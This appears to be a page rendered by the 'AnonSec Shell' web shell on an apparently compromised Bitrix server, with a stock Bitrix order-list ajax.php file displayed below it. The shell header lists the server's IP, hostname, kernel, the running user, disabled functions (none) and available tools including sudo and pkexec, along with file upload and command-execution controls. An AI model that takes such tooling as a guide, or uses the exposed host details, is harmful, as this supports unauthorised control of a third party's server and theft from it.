AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.188.226.91
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/sale.mobile.orders.list/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/sale.mobile.orders.list//ajax.php
<?
define('NO_KEEP_STATISTIC', true);
define('NO_AGENT_STATISTIC', true);
define('NOT_CHECK_PERMISSIONS', true);

require($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_admin_before.php');

if (!CModule::IncludeModule('sale')) die('module sale not installed');

if($USER->IsAuthorized() && check_bitrix_sessid())
{
	$id = isset($_REQUEST['id']) ? trim($_REQUEST['id']) : false;
	$action = isset($_REQUEST['action']) ? trim($_REQUEST['action']) : '';
	$orderDetailPath = isset($_REQUEST['order_detail_path']) ? trim($_REQUEST['order_detail_path']) : false;
	$arFilter = array();
	$arParams = array('RETURN_AS_ARRAY' => 'Y');

	if($orderDetailPath)
		$arParams['ORDER_DETAIL_PATH'] = $orderDetailPath;

	if(isset($_REQUEST['filter']) && is_array($_REQUEST['filter']) && !empty($_REQUEST['filter']))
		foreach ($_REQUEST['filter'] as $key => $value)
			$arFilter[$key] = $value;

	$saleModulePermissions = $APPLICATION->GetGroupRight('sale');

	if ($saleModulePermissions == 'D')
	{
		$arFilter['USER_ID'] = intval($USER->GetID());
	}
	elseif ($saleModulePermissions != 'W')
	{
		$arFilter['STATUS_PERMS_GROUP_ID'] = $GLOBALS['USER']->GetUserGroupArray();
		$arFilter['>=STATUS_PERMS_PERM_VIEW'] = 'Y';
	}

	switch ($action)
	{
		case 'get_order':

			if(!$id)
				die(false);

			$arFilter = array_merge($arFilter, array('ID' => $id));

		break;

		case 'get_orders':

			$last = isset($_REQUEST['last']) ? trim($_REQUEST['last']): false;

			if(!$last)
				die(false);

			$arFilter = array_merge($arFilter, array('<ID' => $last));

		break;

		case 'get_updated_orders':

			$arDateUpdated = array();

			if(isset($_REQUEST['timestamp']) && !empty($_REQUEST['timestamp']))
				$arDateUpdated = array('>=DATE_UPDATE' => FormatDate('FULL', round(intval($_REQUEST['timestamp'])/1000), ''));

			$arFilter = array_merge($arFilter, $arDateUpdated);

		break;

	}

	$arParams['FILTER'] = $arFilter;

	//component prints json & dies with RETURN_AS_ARRAY param
	$APPLICATION->IncludeComponent(
		'bitrix:sale.mobile.orders.list',
		'.default',
		$arParams,
		false
	);
}

require($_SERVER['DOCUMENT_ROOT'].BX_ROOT.'/modules/main/include/epilog_admin_after.php');
?>

Anon7 - 2022
AnonSec Team